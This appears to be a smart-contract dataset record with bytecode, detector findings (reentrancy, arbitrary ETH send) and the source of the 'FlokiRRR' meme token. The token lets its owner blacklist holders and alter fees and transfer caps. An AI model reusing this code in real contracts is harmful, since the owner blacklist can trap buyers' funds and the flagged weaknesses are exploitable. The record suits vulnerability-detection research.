08151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206d689e0afc42cf4916d9c70fa5cb99d5e6251bdb28c0fb1896f17e7df15c0f7664736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,500 |
0x413cd136f2879fb83f281bad52b7f0ef694af99d
|
/**
*Submitted for verification at Etherscan.io on 2021-06-30
*/
/*
https://twitter.com/elonmusk/status/1408380216653844480
https://twitter.com/elonmusk/status/1410330088906838018
Telegram: https://t.me/FlokiRRReth
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FlokiRRR is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Floki In Rapidly Reusable Rockets";
string private constant _symbol = "FlokiRRR";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_teamFee = 12;
_taxFee = 5;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (2 minutes);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ec1565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129e4565b610441565b6040516101789190612ea6565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613063565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612995565b610470565b6040516101e09190612ea6565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612907565b610549565b005b34801561021e57600080fd5b50610227610639565b60405161023491906130d8565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a61565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612907565b610766565b6040516102b19190613063565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612dd8565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612ec1565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129e4565b610970565b60405161035b9190612ea6565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a20565b61098e565b005b34801561039957600080fd5b506103a2610ade565b005b3480156103b057600080fd5b506103b9610b58565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ab3565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612959565b6111fd565b6040516104189190613063565b60405180910390f35b606060405180606001604052806021815260200161379c60219139905090565b600061045561044e611284565b848461128c565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611457565b61053e84610489611284565b610539856040518060600160405280602881526020016137bd60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef611284565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c169092919063ffffffff16565b61128c565b600190509392505050565b610551611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612fa3565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612fa3565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610735611284565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611c7a565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d75565b9050919050565b6107bf611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612fa3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f466c6f6b69525252000000000000000000000000000000000000000000000000815250905090565b600061098461097d611284565b8484611457565b6001905092915050565b610996611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612fa3565b60405180910390fd5b60005b8151811015610ada576001600a6000848481518110610a6e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad290613379565b915050610a26565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1f611284565b73ffffffffffffffffffffffffffffffffffffffff1614610b3f57600080fd5b6000610b4a30610766565b9050610b5581611de3565b50565b610b60611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612fa3565b60405180910390fd5b600f60149054906101000a900460ff1615610c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3490613023565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ccd30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1357600080fd5b505afa158015610d27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4b9190612930565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de59190612930565b6040518363ffffffff1660e01b8152600401610e02929190612df3565b602060405180830381600087803b158015610e1c57600080fd5b505af1158015610e30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e549190612930565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610edd30610766565b600080610ee861090a565b426040518863ffffffff1660e01b8152600401610f0a96959493929190612e45565b6060604051808303818588803b158015610f2357600080fd5b505af1158015610f37573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5c9190612adc565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612e1c565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612a8a565b5050565b6110bc611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612fa3565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612f63565b60405180910390fd5b6111bb60646111ad83683635c9adc5dea000006120dd90919063ffffffff16565b61215890919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f29190613063565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390613003565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612f23565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144a9190613063565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612fe3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612ee3565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612fc3565b60405180910390fd5b61158261090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f057506115c061090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5357600f60179054906101000a900460ff1615611823573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117265750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182257600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176c611284565b73ffffffffffffffffffffffffffffffffffffffff1614806117e25750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117ca611284565b73ffffffffffffffffffffffffffffffffffffffff16145b611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890613043565b60405180910390fd5b5b5b60105481111561183257600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d65750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118df57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ff